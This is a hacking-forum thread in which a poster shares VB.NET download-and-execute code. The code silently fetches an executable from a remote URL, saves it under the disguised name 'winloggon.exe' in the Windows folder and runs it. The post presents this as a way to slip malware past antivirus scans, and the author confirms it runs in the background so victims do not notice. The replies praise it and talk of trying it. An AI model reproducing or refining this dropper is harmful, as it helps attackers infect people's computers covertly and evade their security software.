[VB.NET] Simple Download/Execute

[Sasuke]

This is a simple VB.net Download/Execute code.

Imports -- Put this way at the top(For noobs)

Imports System.IO

Internet Check -- Don't put this in another function(For noobs)

    Private Function IsConnectionAvailable() As Boolean
        Dim url As New System.Uri("http://www.google.com/")
        Dim req As System.Net.WebRequest
        req = System.Net.WebRequest.Create(url)
        Dim resp As System.Net.WebResponse
        Try
            resp = req.GetResponse()
            resp.Close()
            req = Nothing
            Return True
        Catch ex As Exception
            req = Nothing
            Return False
        End Try
    End Function

Download/Execute -- Checks for internet and if it is working it will download the file if not it will just close the application!

        If IsConnectionAvailable() = True Then
            Dim furl As String
            Dim fpath As String

            furl = "http://example.com/server.exe"
            fpath = "c:\windows\winloggon.exe"

            If File.Exists(fpath) Then
                Try
                    File.Delete(fpath)
                    My.Computer.Network.DownloadFile(furl, fpath)
                    System.Threading.Thread.Sleep(100)
                    Process.Start(fpath)
                Catch ex As Exception
                    System.Threading.Thread.Sleep(1)
                End Try
            Else
                My.Computer.Network.DownloadFile(furl, fpath)
                System.Threading.Thread.Sleep(100)
                Process.Start(fpath)
            End If
        Else
            Application.Exit()
        End If

This is nice if you want to keep a program you made not a "virus".

Your program will be scanned as undetected but when they download the file if it is not scantime/runtime FUD it may get detected by there Anti-Virus.

[redskull]

Very nice, can be improved a lot though

[Th3 Jok3r]

Good Job! I am gonna try this sometime..

[PH34K]

So does this do this in the bg so the victim doesnt relize it?

[Mike]

Could be improved a lot, kind of old to be honest.

[Sasuke]

Originally Posted by PH34K

So does this do this in the bg so the victim doesnt relize it?

Yes.

10char

[PH34K]

ok cool......